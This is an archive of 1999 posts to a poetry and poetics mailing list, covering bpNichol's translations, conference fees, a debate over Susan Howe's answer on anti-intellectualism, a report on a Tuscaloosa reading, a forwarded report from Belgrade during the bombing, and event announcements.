> i was wondering what yr opinion/response was to bpNichol's >_TTA:Translating Translating Appolinaire_ - having read it now, and in the >process responding to a freind's essay on TTA, i believe that TTA explores, >much like bp's other works - the physical materiality of language. with TTA, >bp also probes the space between languages (that s the difficulties of >placing a translated text between the original (and its language base) and >the restraints of the 2nd language) as well as the chalenges of faithful >translations. the process of manipulation and translation is then used as a >means of exploring the alphabetic symbols (as in the pieces from TTA18) as >well as memory as both recollector and creator... (TTA also can relate to >nichol's other works of translations like Six Fillous, the catallus poems, >etc) i was just wodnering if anyone else had critical response to TTA, or if >they would like to receommend further homolinguistic translations, etc...
> well thats it...
> ciao
> derek beaulieu
>
>

↑ Index

365. charles alexander
Re: Barnard Conference...
Mon 29 Mar 1999

---

thanks for this, chris, particularly in the midst of the class/money thread. I know that this was one conference I found out about only too late to think of participating in as a panelist, but the fees also made me immediately dismiss it as something I would not be able to attend. I know not all conferences can be underwritten by grants and university funds -- but for some of us, particularly if we are unaffiliated with programs that might pay for us to go there, there's just no chance. As for another recent conference, I had been told that book sales would not be allowed at the PageMothers conference, and that took away one possible avenue of paying at least part of the expenses of a San Diego trip (not far from here), which contributed to my inability to attend that conference. I try to take one trip a year, either to a conference or to give readings, because once a year I can apply and usually receive some funding from local and state arts agencies for such travel purposes. Other trips may happen when there are invitations to totally funded readings. Beyond that, it's pretty much just stay home and work -- and that's not bad, but certainly the in-person contact with colleagues is limited.

I agree with Joe Amato, everything points to or from money in one way or another.

charles

At 01:51 AM 3/29/99 -0500, you wrote:
>Recently, I've been informed that the panellists giving papers, and/or >talks at the Barnard Conference HAVE TO PAY A FEE in order to attend >this conference. I personally (as well as some others I've talked to) >find this appalling. When Stephen Cope (are you there Stephen; if so, >backchannel please) invited me to be part of the conference, he made >no mention of it, and since it was "in my backyard" as it were, I >was thinking I--if not getting paid for my efforts--would at least >not have to PAY to participate. I do not know if the "big names" are >getting paid to present here, and I certainly have no gripe with them
>if they are, but the idea that us "smaller names" have to PAY is >something I wish I would have been told up front. I understand that >the organizers are putting a lot of work into this conference, but >Barnard, one would think, certainly wouldn't benefit from the "petty >cash" it would extract from underpayed (underused) academically >unafffiliated writers....
>So, I'm wondering if there's anything that can be done about this?
>
>Best,
>Chris Stroffolino
>
>

↑ Index

366. Mark Prejsnar
Re: LYNN KELLY's Q & SUSAN HOWE'S A
Mon 29 Mar 1999

---

i feel that i would argue that howe's formulation of the question is the better of the two...

quite simply, the question as it was put to her, does point up precisely the anti-intellectualism that is a basic structural component of U.S. culture. De Toqueville mentioned it sharply. It is deeply rooted and old, and distinguishes this national culture from many others..

i understand the point Chris is making below; it is not a totally wrongheaded distinction, i think; but (his "nitpicky" comment does indeed get a bit at what i feel...) it is a very fine-grained distinction, and i believe it doesn't do justice to the relevance of Howe's point.

These questions about educational level, etc., are often thrown at interesting poetry; and are very instructive for what they suggest about the person asking 'em..

but often they are not, fundamentally, an accurate critique of nonmainstream writing....partly for the reasons Howe mentions; poetry has many different functions and niches, and should not be imagined as aimed at a "Common Reader;"

Almost all vital work done in the arts in the last 80 years has a specific audience, one that is not authorized (as a "mass audience") by the approval-machinery of the culture bizness; whether one thinks of Ingmar Bergman or Robert Wilson or Ornette Coleman.... And the 20th century was not the only time this has been true, over history.

mark prejsnar

On Mon, 29 Mar 1999, louis stroffolino wrote:

> Looking over the exchange that Betsy Andrews post between the two aformentioned writers, I come to a different conclusion about this exchange. You may notice that LK's question (her formulation of an 'objection' that could be raised to Susan Howe's poetry) is not really being addressed by SH, at least that's what I noticed....
> For LK asks about EDUCATION, asks whether a poetry like Howe's may only reach a "very narrow, highly educated," audience, and whether, in America today, one may have "tremendous intellectual confidence" WITHOUT being "highly educated." I thus see HOWE as misreading LK's question, because S.Howe seems to "elide" the distinction between "highly educated" and "intellectualism"....
> I think it's possible that one may be "intellectual" without being "highly educated." It's even quite plausible that in many cases being "highly educated" can GET IN THE WAY, or detract, from being intellectual. And even though I, with Howe, question the "frightening anti-intellectualism" of our society, and even her Stevensian notion that poets may (if not must) address themselves to an elite, I think the distinction (implicit at least) in LK's question between an "highly educated" elite and an "intellectual" one (i use the term intellectual more loosely, as a sense of rigorous thought-engagement even if it lacks the proper pedigrees and references) needs at least to be entertained if not stressed....

For, I know many intellects who have succumbed to a feeling of inadequacy in not being "highly educated" enough, many intellectuals who lack "intellectual confidence" (just as conversely, there are some who "possess" such "intellectual confidence" who may not be as intellectual as many of those who lack such confidence....)

Anyway, perhaps this is too nitpicky (my method of stressing a few of the words, in a way I call "close reading"), but I think it DOES relate to Rebecca Woolf's original point (however expressed, and misunderstood, and perhaps by myself). I, speaking only for myself here though, find a reductive binary formulation contrasting "highly educated" and "intellectual" useful here: I consider Howe (and Olson and Pound, who in many ways she resembles) to be a poet that does require a more "highly educated" indidividual to read and appreciate (the learned references that point the reader to texts by COTTON MATHER or Fenellosa, etc., as if one must read them in order to "fully appreciate" Howe's and Pound's project) and would contrast this to other poets that, though they themselves may be considered "elite" and certainly at least as "highly educated," do not require as blatantly such "highly educated" readers (say, Stein, Riding, Stevens, Ashbery, for instance....if I'm going to play the lineage game here....). Sure, there are moments in some of this latter group in which "allusions" and references may flatter the highly educated (Ashbery's titles referencing the "tradition" and all the "in jokes" and "appropriations" from other texts), but it's been my experience at least that they are not as NECESSARY to the appreciation of the poem and the project, one can "get" and/or at least enjoy Ashbery without knowing that he's quoting a lengthy passage from a famous victorian. Anyway, I guess right now, I "side" with the latter mode, but I am certainly open to anybody calling my formulation into question.....

chris stroffolino

On Thu, 25 Mar 1999, BETSY ANDREWS wrote:

Well, let me weigh in with a bit of retro-biographical information about Howe that speaks against the really wierd idea that the "crappy papers" of bunch of "middle-class" students who love poetry at "middle-ground state universities" toll the death knell of "all joy in poetry":

In a 1995 Contemporary Literature interview, Lynn Kelly asked Howe," People objecting to experimental writing sometimes complain that whatever claims are made for its social engagement or marxist perspective, or its changing hegemonic structures of consciousness, that, in fact, the aduience it reaches is a very narrow, highly educated one, that the reader has to have tremendous intellectual confidence even to grapple with these texts. What do you think? Does that concern you?"

Howe's reply: "No. The objection offends me. I think it is part of a really frightening anti-intellectualism in our culture. Why should things please a large audience? And isn't claiming that the work is too intellectually demanding also saying a majority of people are stupid? Different poets will always have different audiences. Some poets appeal to younger people, some to thousands, one or two to millions, some to older people, et cetera. If you have four readers whom you truly touch and maybe even influence, well then that's fine. Poetry is a calling. You are called to write and you follow."

Howe's comments counter Rebecca's remarks from her post "Re: Shifts in Modalities" in two totally different ways. Firstly, Howe refuses to totalize. There are various aesthetic communities of readers and writers. There is no "all" anything. Secondly, Howe refuses to condescend. She's enraged by the condescension.

I wonder if Rebecca thinks being middle class is the problem, or going to a "middle-ground" state university is a problem--I have an MFA from one of those places, George Mason in Fairfax, VA,--I went there on purpose, and believe me, there was all sorts of joyous experimentation and intellectualism there. Or if that provisional term of hers, "love" of poetry is the problem. What does "love" in quotation marks mean?

From: Grant Jenkins <[redacted]>
To: [redacted]
Subject: defensive poetry
Date: Wednesday, March 24, 1999 6:17 PM

This [the posting about S. Howe's particularities] is exactly what I was talking about earlier when I said that "it [the shift into classrooms producing critics whose facilities are lamed] will happen and it will suck." I do not want to know what Susan Howe's family home was like and I do not want to know what her husband does for a living. Cultural studies is simple biographical criticism in thin disguise: an excuse for sensationalism and for those who are uncomfortable with ambiguity to write

about where their subject was born and how many doctors were around the table, color of baby blanket, etc.

Well, I guess I should come to my own defense--if I am able, being only a lame, lowgrade academic.

All snideness aside, I have a question for you, Rebecca: what exactly then do you think is the "joy of poetry"?

What I can gather from reading the texts of Susan Howe--letters, poems, journals, marginalia--that it is precisely the textual particulars of another that she finds to be the "joy of poetry." Reading Melville's Marginalia, a colletion of his notations in books he was reading, inspired her to write a poem that exposes the irony, uncertainty, and change in not only Melville's "life" but also in history (another text). Immersing herself in the manuscripts of Emily Dickinson, Howe reclaims and reconsiders Dickinson in a feminist context. I read much joy, Susan's and mine, in both of those works. The joy comes not just from the work but that it was written, by someone.

This is not biographical criticism because it does not distinguish between a "text" and a "life." Both are in language yet bear the traces of another person who chose to write. Nor is this mere cultural criticism, as you would have it. It's what Peter Neufeld in his post refered to as an ethics that calls for a consideration of the uncertainty and alterity that mark our reading of an other's texts. There is more at stake than just figuring out "what it means." Anyway, I don't know to many academics who have this goal. (Isn't so much of the poetry that we all enjoy and feel invested in marked by a blur between poetry and criticism? Must we draw that line in the sand again? Why?)

For me, the joy of poetry comes not just from New Critically reading (or writing) the Genius of a poem, In Itself. But from following the textual threads out of the work and into other texts and other uncertainties, ad infinitum. Not knowing "what it means" is the greatest joy.

Grant

↑ Index

367. miekal and a manifesto, a media prayer & 3 questions
Mon 29 Mar 1999

(the unwar {z}one) http://net22.com/qazingulaza/o_so_vo/index.html

↑ Index

368. ken|n|ing
A REMINDER /
Mon 29 Mar 1999

As a reminder: The spring issue of KENNING is soon to be on its way to subscribers -- is due in about a week or slightly more. Those who haven't taken the opportunity to check out my little magazine are encouraged to do so now. Sample copies ($5.00 / per) of vol. 1, no. 3 are still available, though running out fast. This issue features Daniel Bouchard, Standard Schaefer, Sheila E. Murphy, Charles Bernstein, John Lowther, Hoa Nguyen, Peter Ganick, Mark DuCharme, Lisa Jarnot, Ida Yoshinaga, Mark Prejsnar, Andrew Levy, Susan Smith Nash, Gustaf Sobin, Ra DiPalma, John Taggart, Tina Darragh, & Nathaniel Mackey interviewed by Brent Cunningham. Those wishing to subscribe should send $9.50 made out to the editor, Patrick F. Durgin, to the address below. Subscriptions received after mid-April will begin with vol. 1, no. 4 and end with the summer issue, no. 5, details below: Vol. 1, No. 4 [forthcoming]: Elizabeth Treadwell, Anselm Berrigan, Dale Smith, Leslie Scalapino, Mac Wellman, Eileen Myles, Bill Luoma, among many others. Vol. 2, No. 5 [forthcoming]: Lyn Hejinian, Jon Cone, Rachel Blau DuPlessis, Peter O'Leary, Brian Kim Stefans, Michael Gottlieb, among many others. There will be a full announcement once the spring issue "hits the stands" including ordering options other than direct from the publisher. Remember: the small-press community is self-defining, and a subscription here and there is one of the most vital ways to participate! Patrick F. Durgin

```
                    |
                    |
k e n n i n g``````````````|```````````````````````````
a newsletter of contemporary |poetry,  poetics,  and  non-fiction writing
                    |418 Brown St. #10  Iowa City, IA 52245  USA
```

↑ Index

369. Lowther,John
The APG in Tuscaloosa 3.6.99
Mon 29 Mar 1999

---

on March 6th three parts of the APG (Atlanta Poetry Group) - namely Mark Prejsnar, Randy Prunty and)ohnLowther set out from @lanta for Tuscaloosa and a day of poetry-related activities - also a day of forgetting that Tuscaloosa is on the other side of the time line and thus lots of thinking we were late and/or getting to places early

the ride went and town was reached motel checked-in and campus found (in spite of slanty directions - and a raspberry for Jon Berry) - at 1pm a panel began to take form in yellow brick english building - milling about and then seated, in addition to the APG were Hank Lazer, Jake Berry, Jon Berry, Jack Foley, Michael Martone, a collector of experimental literature named Sachler (i believe), William Doty, Bill Lavender, Adele Foley (ever-present on the microphones an tape machine) and some folks we didn't know or meet

Jon Berry read a list of questions - supposedly 6 or 7 - for lack of anything else let's call the topic 'contemporary literature' - and then the show began... well the 'panel' - not really that 'showy' but you follow

i took no notes and so will undoubtedly miss much - but - M.Martone's talk was about a series of 'travel pieces' he's been writing about Ohio - he's interested in the frame in which they get published and instead of sending them to ficton venues or whatever he tries to publish in small local newspapers in ohio
Jack Foley had a prepared talk for which i wd be hard pressed to extract any single thesis - various phrases stuck out "a blind man haunts literature" (homer, don't you know) much was made of this by Foley that it was a challenge to literature on the page and - "the crisis of literature" apparently something due to the various options we have now, print, orality, electronic - this drew a lot of questioning - mainly from me as i felt and feel that the 'crisis' but is much overplayed - what of the crisis of colas ? we RC, Pepsi, etc... Foley used a series of examples that one can find in early Derrida and at times seemed to be ghosting along in parallel to a Jerome Rothenberg essay that i read someplace - within al of this it seem that he wants to see a more conscious return to Orality (big O) and he feels that the web/net (has anyone remarked on the slight creepiness of those two images) will somehow promote this thing he wants to happen - after criticizing langpo as poetry that is 'only on the page' he told me i wd see what more cd be done with poetry if i attended the reading that evening
Jake Berry's comments were impressionistic and responsive to the mood up until that point - he put no program forward but seemed generally pleased that the internet was in some sense letting poets have more access and exposure Marvin Sachler spoke next from the standpoint of collector and audience for poetry & literature but not - as he insisted - producer - with his talk the themes of internet triumphalism that had been manifest in Foley's talk and pointed at in Jake's came rushing to the fore - this provoked some pointed questions about why poets should strive to have big audiences and general critique of the rah rah web web cheering that had been going on - Mr Sachler is certainly entitled to his opinions but to my ears they boiled down to a) writers should make their work more appealing visually so more people will be motivated to look at it and b) everyone should use the internet so that they can have a bigger audience - as was his wont Jack Foley got into this on Sachler's side of the debate and when i said something about poetry never having had a large audience by today's standards he disagreed and cited some work of the 19th C and how widely distributed it was - i have forgotten what this was unfortunately but i'm tempted to think it was by Longfellow - my suggestion was that if this sort of popularity was wanted then this sort of work ought be written Hank Lazer was next and he addressed more directly and with greater balance the web rhetoric as rhetoric while also not dismissing the work that is available there - Hank's talk was full of questions and had a poetic structure in many senses (which was unfortunately interrupted by another panelist who desired to talk over it at times) - sorry to say that much of what he was doing or trying to do in his piece was i think overshadowed by the specters of arguments already raised it ended with Sachler showing us some goodies from his collection

the APG went in search of food and drink times passed we noted that we had little remaining until the performance was set to begin we were wrong (time zone) and arrived an hour early the evening's performance was held in a small theatre - a good space i thought for this sort of thing - the nights program was divided into two parts - roughly an hour each in the 1st hour Jack and Adelle Foley, Jake Berry, and Hank Lazer performed - the Foleys read together to begin - Jack seemingly the dominant (certainly louder) and then Adelle coming in to read on top of him in a performance that was - if nothing else - Loud - the material itself was hard for me to get much sense of behind the very theatrical inflection and general ostentatiousness of their production - but what i cd make out gave me some sense of why Jack cited Dylan Thomas several times during the afternoon panel - their performances cd also i think be characterized by a two-tone sense of dynamics; loud (relative to speaking) and LOUD relative to anything (be warned - i'm not in sympathy with Foley's work and so what merits it may have i cannot hope to point to) - but Hank was great - he was working with musical accompaniment from Jake Berry (guitar playing submerged bluesy stuff) and Wayne (forgot the last name - he's a photographer i understand and a pretty sympathetic accompanist on a variety of non-standard percussion instruments) - Hank's readings were varied and i had varied responses to them - one that struck me as particularly successful had him read a whole text of a poem to light accompanying sounds and then to improv his way thru it a 2nd time in collaboration with more input from Jake and Wayne - another that stuck out for the APG featured a line something like "Chilli Davis Legged out a grounder" - which Mark P - baseball man that he is 'got' to me it was a rush of interesting sounds that left me wondering for several seconds before something whispered 'baseball?' in my head Jake Berry read from Brambu Drezi book II (i think) and had only Wayne on percussion to work with - but i must say that while i am generally skeptical about the use of musical stuff with poetry - i think that these two worked very very well together - one reason for this is that Jake's work live has a chant-like insistence to it that Wayne was able to highlight without ever getting in the way of - a portion of Jake's reading was in some other language (made-up? real? glossolalia?) - this was maybe my favorite part of the whole thing as he really kicked the words out of his mouth with a lot of energy and yet never succumbed to theatricality - the live reading didn't change my thinking about Jake's work but definitely intensified the sense of it as a life-project and thickened the vibe which at times suggests snake-handling and 'old-time religion' (think of the beefheart song) as well as a sort of gothic sensibility with hints of voodoo and - frankly - suffering (why this collection doesn't add up to pretense is what makes Jake's work worthwhile)

the 2nd hour was a grab bag of everybody else who came that had something to read - a visual highlight was a tuscaloosa native named Darryl standing tall and dressed in a charmingly outlandish fashion with dozens of ear-rings bracelets necklaces buckles and straps with flowing garb + a derby hat (there were feathers involved someplace i know) - but the visual highlight was him holding up in the spotlights a large translucent green dildo which wagged limply back and forth sending out green reflections Susan Holbrook a poet from vancouver read from a series of prose poems that build on lines from the brother grimm - i think the project is called 'Grimm" but am not sure - the syntax was mostly normative and the action came out of the sexual hints and suggestions in the opening lines which wd then get played out and turned around and around as the piece moved on we of the APG read as well - Mark took stage first and read from his Loss Leider poems - and did i think a pretty bang up job of it - i read from a ms. called Aeros in Err - Randy read a selection of poems and managed to get the house lights turned up and had copies for everyone in the audience which i think helped what was already a really great performance on his part (clearly the best of the three of us that evening) the last reader and a stupendous show-closer was Bill Lavender - introduced as The Man from New Orleans - Bill has great presence on stage and sort of lacsidasical presentation that combined beautifully with a substantial piece of poetry that made loops within itself to continually revisit a particular joke the terms and punchline of which varied throughout - it was really pretty great - not much else i can say about it

after the performance we all went to a mexican restaurant when thru a series of mime-like activities and gestures i was able to get something that had no meat in it - everybody drank beer and margaritas and got pretty silly until time to go to sleep & Jake Berry looked very green under fluorescent light

Hank was a great host and we look forward to going to other events there in the future - perhaps there are others in the southeast that might also in the future attend

)L

↑ Index

370. Robert Freedman

Re: Armand Schwerner Tablets

Mon 29 Mar 1999

Miekal,

You probably already know about this, but "Poems for the Millennium," Volume II (Rothenberg/Joris) has about 4 pages of excerpts. If you don't have access let me know and I'll copy the stuff for you and send it by email.

Bob Freedman
----- Original Message -----
From: Richard Carfagna <[redacted]>
To: <[redacted]>
Sent: Thursday, March 25, 1999 7:07 AM
Subject: Re: Armand Schwerner Tablets

> Hi miekal,
> I don't know if this will be of any considerable help, but check out the essay at this site:
> http://www.valdosta.edu/vsu/dept/cas/eng/note/lavazzi.htm
> If you can't get to it , let me know and I can either e-mail or fax a copy to you.
> ric
>
> ----------
> From: POETICS[SMTP:[redacted]]
> Sent: Thursday, March 25, 1999 9:39 AM
> To: [redacted]
> Subject: Re: Armand Schwerner Tablets

> Im working on a piece for armand schwerner & am having an impossible time finding anything from the tablets on the net, (if I go interlibrary loan it could take months out here), does anyone out there in popoland have ecopy of any, or know of any secret websites that may have excerpts? (who knows maybe alta vista is a shitty searchengine.)
>
> Or mayhaps someone is courageous enuf to key in their own favorite or lovely sections & post it herefront.
>
> just doesn't feel the sample without one-liners, something abt community.
>
> miekal

↑ Index

371. Maria Damon (Maria Damon)

Re: Barnard Conference...

Mon 29 Mar 1999

At 1:51 AM 3/29/99, louis stroffolino wrote:
>Recently, I've been informed that the panellists giving papers, and/or >talks at the Barnard Conference HAVE TO PAY A FEE in order to attend >this conference. I personally (as well as some others I've talked to) >find this appalling. When Stephen Cope (are you there Stephen; if so, >backchannel please) invited me to be part of the conference, he made >no mention of it, and since it was "in my backyard" as it were, I >was thinking I--if not getting paid for my efforts--would at least >not have to PAY to participate. I do not know if the "big names" are >getting paid to present here, and I certainly have no gripe with them
>if they are, but the idea that us "smaller names" have to PAY is >something I wish I would have been told up front. I understand that >the organizers are putting a lot of work into this conference, but >Barnard, one would think, certainly wouldn't benefit from the "petty >cash" it would extract from underpayed (underused) academically
>unafffiliated writers....
>So, I'm wondering if there's anything that can be done about this?
>
>Best,
>Chris Stroffolino

chris this is pretty common, as at MLA, ASA, etc. you have to register, which costs bucks, sometimes big bucks, and then pay your own expenses when yr there... unless you've got a generous dept. or special travel funds... sucky but true...

↑ Index

372. Tony Green

Re: [Fwd: [Fwd: Belgrade: a feminist report]] (fwd)

Mon 29 Mar 1999

Hello Dubravka, I have forwarded your message to 2 more

[redacted] largest NZ newspaper & [redacted] "independent" commercial TV channel

keep hoping best Tony Green

-----Original Message-----
From: Dubravka <[redacted]>
To: [redacted] <[redacted]>
Date: Tuesday, 30 March 1999 02:41
Subject: [Fwd: [Fwd: Belgrade: a feminist report]] (fwd)

>dear lsit, i sent this to charls bernstein, but send to the list also.
>this is the massage from belgrade pacifist groups. thanks to >charles and all friends to love and support. i hope i will write >more soon .. it is really horrible
>dubravka djuric
>----------
>Forwarded message ---------- Date: Thu, 25 Mar 1999 22:17:12 +0100
>From: Zarana Papic <[redacted]>
>To: Aco Divac <[redacted]>,
> Alain Lipietz & Francine Comte <[redacted]>,
> Aleksandar Kron <[redacted]>,
> Aljosa Mimica <[redacted]>, Brana Stojkovic <[redacted]>,
> Chele <[redacted]>, Danica Ilic <[redacted]>,
> Darka Radosavljevic <[redacted]>,
> Dimitrije Todorovic <[redacted]>,
> Dragan BULATOVIC <[redacted]>,
> Dragica Vujadinovic-Milinkovic <[redacted]>,
> Dragoljub Zarkovic <[redacted]>,
> Drinka Gojkovic <[redacted]>,
> Dubravka Djuric <[redacted]>,
> Dunja Blazevic <[redacted]>, Duska <[redacted]>,
> Evropski pokret u Srbiji <[redacted]>,

> Goran Milicevic <[redacted]>, Ivana Aleksic
<[redacted]>,
> Iveta Todorova <[redacted]>, Jelena Djordjevic <[redacted]>,
> Jelena Santic <[redacted]>, KOTEVSKA Ana <[redacted]>,
> Liga socijaledmokrata Vojvodine <[redacted]>,
> Marija Bogdanovic <[redacted]>,
> Milena Dragicevic-Sesic <[redacted]>,
> Mima Pesic <[redacted]>,
> Mirjana Kovacevic <[redacted]>,
> nikola tucic <[redacted]>, Pedja Dojcinovic <[redacted]>,
> Rade Veljanovski <[redacted]>, Rastko Mocnik <[redacted]>,
> Slobodanka Ast <[redacted]>,
> Snjezana Milivojevic <[redacted]>,
> Srdjan Darmanovic <[redacted]>, Srdjan Rajkovic <[redacted]>,
> Svetlana Slapsak <[redacted]>,
> Tinde Kovac-Cerovic <[redacted]>,
> vesna rakic-vodinelic <[redacted]>,
> Zaga Golubovic <[redacted]>, Zarko Paunovic <[redacted]>
>Cc: Autonomous Women's Center Against Sexual Violence <[redacted]>
>Subject: [Fwd: [Fwd: Belgrade: a feminist report]]
>
>
>
>autonomous women's center against sexual violence
>tirsova 5a, beograd, fr yugoslavia
>tel/fax: 381.11.687.190
>e-mail: [redacted]
>
>-------- Original Message --------
>Subject: Belgrade: bombing day second
>Date: Thu, 25 Mar 1999 18:29:51 +0000
>From: "Women's Center Belgrade" <[redacted]>
>To: Zarana Papic <[redacted]>
>
>
>Belgrade, 24 march, 99
>2pm.
>
>
>dear friends,
>
>we have received many letters of support, calls from our friends

>from Bosnia, Croatia and Slovenia, thank you.
>The situation:
>Many women are affraid more or less. last night some of us have >worked in the Womens Center untill 9pm, and after that the town was >calm and empty, and some citizens were around entrance of houses and
>some in the cellers.
>The parts of the town near the military bases felt hard detonations
>and saw the fire. Those in the center of town did not.
>The telephone lines have become difficult.
>
>
>The worry of pacifists is the situation on Kosovo.
>First, most artillery the serbian army has concentrated in the region >of Kosovo. Last night i finally caught the telephone lines with >Pristina and talked to my friend, and she said that the biggest worry >is the vengeance of serbian army against albanian population.
>The CNN and BBC TV stations are obviously very pro-violence oriented >and they have inflicted much fear into people in Kosovo, on top of >the facts that are fearfull in themselves. The serbian officials have >cut electriciy in Pristina last night, and tuned in this morning.
>The cutting of electricity was clearly the act of producing more fear >on the one already there. So you can imagine the mood in Pristina.
>This morning there is no bread and milk in most of the shops in >Belgrade and Pristina. >and it is a beautifull sunny day.
>
>
>The fact that enrages is that serbian regime has totally and >apsolutelly taken the control of all the media. Which means that >only few words come in, and that language of hatred, production of >enemies and vengeance politics is increasing every minute. Four >TV stations fused in one and two others in the other one. The people >who do not have satellite TV get few news per hour, about shelters >and enemies, and nothing else. This is as well frightening.
>
>Many women did not sleep last night,
>and sirenas are on and off every couple of hours. So some of us are >constatly on the phone with those who feel bad.
>
>
>Once again feminists and pacifists from Belgrade are again this time >sending sisterly tender words for our friends and Albanian women and >their families in Kosovo.

>
>
>lepa mladjenovic
>
>autonomous women's center against sexual violence
>tirsova 5a, beograd, fr yugoslavia
>tel/fax: 381.11.687.190
>e-mail: [redacted]
>

↑ Index

373. kathylou
Re: Class is . . . (fwd)
Mon 29 Mar 1999

---------- Forwarded Message: ----------
From: [redacted]
To: [redacted]
Subject: Re: Class is . . .
Date: Mon, 29 Mar 1999 19:04:49 +0000

Mairead,
I don't care if you think it's obnoxious. Survival is survival. One does what one needs to do in order to survive. For poor and working class folks survival is often the name of the game--not "offense." In any case, you're just trying to turn what I said on its head without responding to the crux of my point, which I find obnoxious. Backchannel further, please.
Thank you.
Kathy Lou Schultz
>
>
> On Fri, 26 Mar 1999 [redacted] wrote:
>
> > I'm a girl from the working class and I swear I > > can smell class. I can sniff it out. I'm rarely wrong.
> > What does this mean? Perhaps that those less privileged > > become adept at reading class codes--and often at adopting > > those of the upper classes as a means of survival.
>
> Kathy Lou, this seems to me a very mixed blessing. I suppose there were > always those who could sniff out a Catholic or a Jew or a Black. Often > the sniffing is offensive rather than defensive. Sniff away: I find the > notion obnoxious.

> Mairead
>

↑ Index

374. Taylor Brady
Re: query
Mon 29 Mar 1999

Summi (and all who might be interested) -

Might not be the case any longer, but I know that as recently as last year a video was available which archived three (?) of Child's 70's and early 80's works - I remember, in particular, "Mayhem," don't know offhand whether "Is This What You Were Born For?" was included. The distributor was one commonly used by Media Studies folks at Buffalo - Anya Lewin would be a good person to ask. Anya, are you out there?

In any event, if Anya isn't on the list, I'd be happy to forward queries to her - hesitant as always to give out private e-mail addresses on lists, but I'd like to help however I can.

Overcautiously yours,
Taylor

-----Original Message-----
From: UB Poetics discussion group [mailto:[redacted]]
On Behalf Of Summi Kaipa
Sent: Monday, March 29, 1999 6:52 AM
To: [redacted]
Subject: query

Does anyone out there know anything about the work of Abigail Child? I just recently saw part of a film of hers entitled "Is This What You Were Born For?" which had Hannah Weiner's words dubbed into it.

Any leads?

--Summi

↑ Index

375. Don Wellman
Re: Lettrisme
Mon 29 Mar 1999

In an issue of Adz, early 1980's there is an interview in English with Jean-Paul Curtay, a second or third generation Letterist with a book in french to his credit, Lettrrism. That book is undoubtedly a very important resource for info on the topic.

↑ Index

376. Maria Damon
Re: Class, Working Pages, and the Mothers Conference
Mon 29 Mar 1999

At 7:53 PM -0500 3/26/99, Bobbie West wrote:
... Among what I consider to be academically (middle >class) influenced magazines and presses, the grittier aspects of life are >often not addressed at all or they’re abstractified to the point of numbness.
>The middle class tendency to smooth over all roughness, to hush the noise, to >tame the emotions, can lead to smooth poetry, soothing to the mind’s ear, but >producing about as much engagement as watching a roomful of people think.
>Added value is accrued by including references to philosophical or literary >texts that are either unavailable or seem irrelevant to the concerns of the >lower classes. Of course I’m not saying that all working class people like it >rough and all middle class people like it smooth, but that the rough is more >quickly dismissed and that those who do the dismissing are more likely to be >>from a middle class or higher social background.
>
this is very interesting. can you mention anyone other than dorothy allison who seems to you to correspond to the class differences you indicate? what about kathy acker? i'd peg her as a "nice middle class jewish girl" and she does indeed allude to lots of high-falutin writers in her work, but it's not exactly smooth. someone like hejinian i can see ---a number of my working class students are genuinely mystified by why anyone would want to write like her or like jane bowles...

↑ Index

377. Noam Scheindlin
READINGS
Mon 29 Mar 1999

Chez Laroe, a performance space on Park Avenue in Manhattan, will have three readings by poets on Saturday nights between April 17 and May 15. The schedule is as follows:

April 17: Ruth Altmann, Lisa Buscani, Bill Kushner, and Thaddeus Rutkowski

May 1: Tom X. Chao, Tom Savage, Noam Scheindlin, and Michele Madigan Sommerville

May 15: Donna Cartelli, Merry Fortune, Lilla Lyon, and Dominic Hamilton-Little

The address is 303 Park Avenue between 23 and 24th streets. Readings begin at 8. Refreshments are included with admission ($10).

Reservations are required! Please call [redacted]. (Please do not email me to do this, because I am only the conduit for this information.)

Also, I have just finished beginning making my home page, and one can now read some of my poems online at http://nonoam.home.mindspring.com.

Best,
Noam Scheindlin

↑ Index

378. BETSY ANDREWS
Re: A desperate Cry
Mon 29 Mar 1999

Does anybody know the White House and State Dept email addresses?

↑ Index

379. Mairead Byrne
ictus
Mon 29 Mar 1999

Ictus is a listserv set up for the immediate purpose of communicating with poets in Kosovo and Serbia. I have been a member of various poetry/poetics listservs through the bombing of Iraq and now Serbia. I would like to see if it is possible to establish longer dialogues than those which have erupted in immediate reaction to attack. Poets everywhere are welcome to join. This is an unmoderated list.

Mairead Byrne

http://ictus.listbot.com

↑ Index

380. David L. Erben
Robert Pinsky
Tue 30 Mar 1999

Robert Pinsky will be speaking at the Doerman Theater at the University of Toledo, Ohio, on Friday, April 2. His talk will start at 4 PM.

↑ Index

381. Harris Schiff
George Schneeman's 1999 Calendar: Paesaggi Senesi
Tue 30 Mar 1999

Sample George Schneeman's 1999 Calendar: Paesaggi Senesi

Please forward this message to anyone who might be interested, thanks.
http://cyberpoems.com/cyberchiks1/calendario.htm

↑ Index

382. Pierre Joris
Re: Lettrisme
Tue 30 Mar 1999

Don Wellman wrote:

> In an issue of Adz, early 1980's there is an interview in English with Jean-Paul Curtay, a second or third generation Letterist with a book in french to his credit, Lettrrism. That book is undoubtedly a very important resource for info on the topic.

The book is called _La Poésie Lettriste_, was published by Seghers in 1974 and is excellent -- a long historico-critical intro on lettrism, followed by a solid anthology of lettrist texts. The book is most certainly out of print (unless recently reprinted) but should be available in some University libraries via Interlibrary loan, if one has an institutional affiliation.

Pierre

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place

Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Nomadism answers to a relation that
possession cannot satisfy.

— Maurice Blanchot
==========

↑ Index

383. Poetics List
Re: A desperate Cry
Tue 30 Mar 1999

The President may be contacted via the www at The White House site, <www.whitehouse.gov>; this is done with a form, so there's no "portable" email address I can provide.

The State Department, too, has a "feedback" section; the URL for that site is <www.state.gov>. Their "foreign policy opinion" email address is <[redacted]>.

Email is better than nothing, but personally I think it's a good idea always to couple that with a snail-mail letter or a telephone call - the relative ease of email contact (and email petitioning) is not lost to these people.

Chris

↑ Index

384. travmar03
Fw: April 3, 1999 --
Tue 30 Mar 1999

Watch for the Age in its Cage and other spectacular feats of daring by the amazing duo:

Stephen Rodofer and Shawn Walker
Highwire Gallery
139 N. 2nd Street
Philadelphia
Saturday April 3, 1999
8 PM
BYOB

>>Stephen will give a talk titled: The Age in its Cage
>>At 5 PM at the Writers House.
>>
>>Bring a friend, a family member, a small pet, and a whole lot of endurance.
>>E-mail this out to any you may think are interested.
>>
>>xoxo
>>your sponsors
>>Fuchs and Connor
>>
>>
>>
>
>
>

↑ Index

385. Michael Magee
Re: LYNN KELLY's Q & SUSAN HOWE'S A
Tue 30 Mar 1999

According to Mark Prejsnar:
>
> These questions about educational level, etc., are often thrown at > interesting poetry; and are very instructive for what they suggest about > the person asking 'em..
>

